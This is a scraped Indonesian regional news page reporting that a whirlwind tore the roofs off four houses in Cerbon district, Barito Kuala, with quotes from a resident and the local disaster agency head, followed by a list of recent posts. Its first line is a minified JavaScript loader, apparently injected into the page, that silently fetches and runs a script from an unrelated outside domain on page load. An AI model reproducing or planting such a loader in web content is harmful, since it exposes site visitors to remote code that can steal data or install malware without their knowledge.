(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

4 Rumah Luluh Lantak Diterjang Angin Kencang di Marabahan


MARABAHAN, Hembusan angin kencang disertai hujan lebat kembali memporak porandakan beberapa buah rumah warga di Desa Sungai Kambat dan Desa Sungai Rasau, Kecamatan Cerbon, Kabupaten Barito Kuala pada Senin (11/11) sore.

“Kejadian itu sekitar 16.00 Wita, dan berlangsung selama satu jam, rumah-rumah di tempat kami juga sempat berbunyi dan bergoyang, dalam musibah puting beliung kemarin setidaknya 4 buah rumah warga atapnya terkoyak akibat puting beliung kamarin,” ujar Dewi, salah seorang warga Desa Sungai Kambat.

Masih menurut Dewi, selain merusak beberapa rumah warga di Kecamatan Carbon tersebut, puting beliung juga sukses menumbangkan beberapa pohon besar yang ada di pinggir jalan, hingga mengenai dan merusak beberapa tiang listrik yang kabelnya langsung terhubung ke rumah warga.

“Kejadian waktu itu sangat ngeri sekali, pohon-pohon besar tumbang, tiang listrik milik PLN juga rubuh bahkan menimpa dan menghalangi badan jalan, serentak jalan penghubung Marabahan Banjarmasin melalui jalur penyeberangan fery lumpuh total tidak dapat dilalui,” akunya.

Hingga pertengahan Oktober, sebanyak 61 buah rumah warga di Kabupaten Barito Kuala rusak parah akibat disapu hujan deras disertai angin kencang. Demikian disampaikan Kepala BPBD Batola Sumarno, kepada Kanalkalimantan.com.

Adapun daerah terbanyak terdampak diantaranya meliputi di lima kecamatan yakni Tabukan, Anjir Pasar, Anjir muara, Marabahan dan Bakumpai.

“Hingga sekarang banyak sekali rumah yang terdampak akibat puting beliung ini, terakhir kemarin, ada 3 buah rumah di Desa Sungai Kampat dan 1 buah rumah di Desa Sungai Rasau masih di Kecamatan Cerbon, beruntung tidak ada korban jiwa dalam musibah ini,” akunya.

Masifnya kejadian hujan disertai angin kencang ini, akibat pergantian musim atau pancaroba yang terjadi. Terlebih di Batola masih banyaknya perumahan yang dibangun di lahan yang terbuka dan rentan, sehingga banyak rumah yang berdampak.

Sumarno menambahkan, dampak bencana hidrologi di musim pancaroba ini juga berimbas pada perubahan tata lahan di beberapa wilayah di Kabupaten Batola. (rendy)

Reporter : Rendy
Editor : Bie

 


Al Ghifari

Recent Posts

Sempat Sengat Pelajar Madrasah, Sarang Tawon Dalam Kelas Dievakuasi Damkar HSU

KANALKALIMANTAN.COM, AMUNTAI - Khawatir membahayakan para pelajar, sarang tawon berukuran sedang berhasil dievakuasi petugas Pemadam… Read More

3 jam ago

Peningkatan Kapasitas Anggota BPD, Ini Kata Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai penting peranan… Read More

3 jam ago

Dua Raperda Disahkan, Ketua DPRD: Payung Hukum yang Jelas Bagi Cagar Budaya di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More

5 jam ago

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

8 jam ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

9 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

10 jam ago

This website uses cookies.